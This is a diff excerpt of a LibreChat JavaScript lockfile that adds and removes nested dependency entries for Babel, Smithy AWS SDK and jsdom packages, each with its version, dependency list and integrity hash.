+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
+ "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/node-config-provider/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
+ "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
+ "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime/@smithy/util-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0" } }, "sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw=="],
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "@librechat/frontend/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
+
+ "@librechat/frontend/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
+
+ "@librechat/frontend/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
"@librechat/frontend/@react-spring/web/@react-spring/shared/@react-spring/rafz": ["@react-spring/rafz@9.7.5", "", {}, "sha512-5ZenDQMC48wjUzPAm1EtwQ5Ot3bLIAwwqP2w2owG5KoNdNHpEJV263nGhCeKKmuA3vG2zLLOdu3or6kuDjA6Aw=="],
@@ -8805,32 +8177,46 @@
"@librechat/frontend/@testing-library/jest-dom/chalk/supports-color": ["supports-color@7.2.0", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw=="],
+ "@librechat/frontend/jest-environment-jsdom/@jest/types/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/cssstyle": ["cssstyle@2.3.0", "", { "dependencies": { "cssom": "~0.3.6" } }, "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/data-urls": ["data-urls@3.0.2", "", { "dependencies": { "abab": "^2.0.6", "whatwg-mimetype": "^3.0.0", "whatwg-url": "^11.0.0" } }, "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/html-encoding-sniffer": ["html-encoding-sniffer@3.0.0", "", { "dependencies": { "whatwg-encoding": "^2.0.0" } }, "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/http-proxy-agent": ["http-proxy-agent@5.0.0", "", { "dependencies": { "@tootallnate/once": "2", "agent-base": "6", "debug": "4" } }, "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/https-proxy-agent": ["https-proxy-agent@5.0.1", "", { "dependencies": { "agent-base": "6", "debug": "4" } }, "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/nwsapi": ["nwsapi@2.2.7", "", {}, "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/tough-cookie": ["tough-cookie@4.1.3", "", { "dependencies": { "psl": "^1.1.33", "punycode": "^2.1.1", "universalify": "^0.2.0", "url-parse": "^1.5.3" } }, "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/w3c-xmlserializer": ["w3c-xmlserializer@4.0.0", "", { "dependencies": { "xml-name-validator": "^4.0.0" } }, "sha512-d+BFHzbiCx6zGfz0HyQ6Rg69w9k19nviJspaj4yNscGjrHu94sVP+aRm75yEbCh+r2/yR+7q6hux9LVtbuTGBw=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/webidl-conversions": ["webidl-conversions@7.0.0", "", {}, "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-encoding": ["whatwg-encoding@2.0.0", "", { "dependencies": { "iconv-lite": "0.6.3" } }, "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg=="],
+
+ "@librechat/frontend/jest-environment-jsdom/jsdom/whatwg-mimetype": ["whatwg-mimetype@3.0.0", "", {}, "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q=="],
+
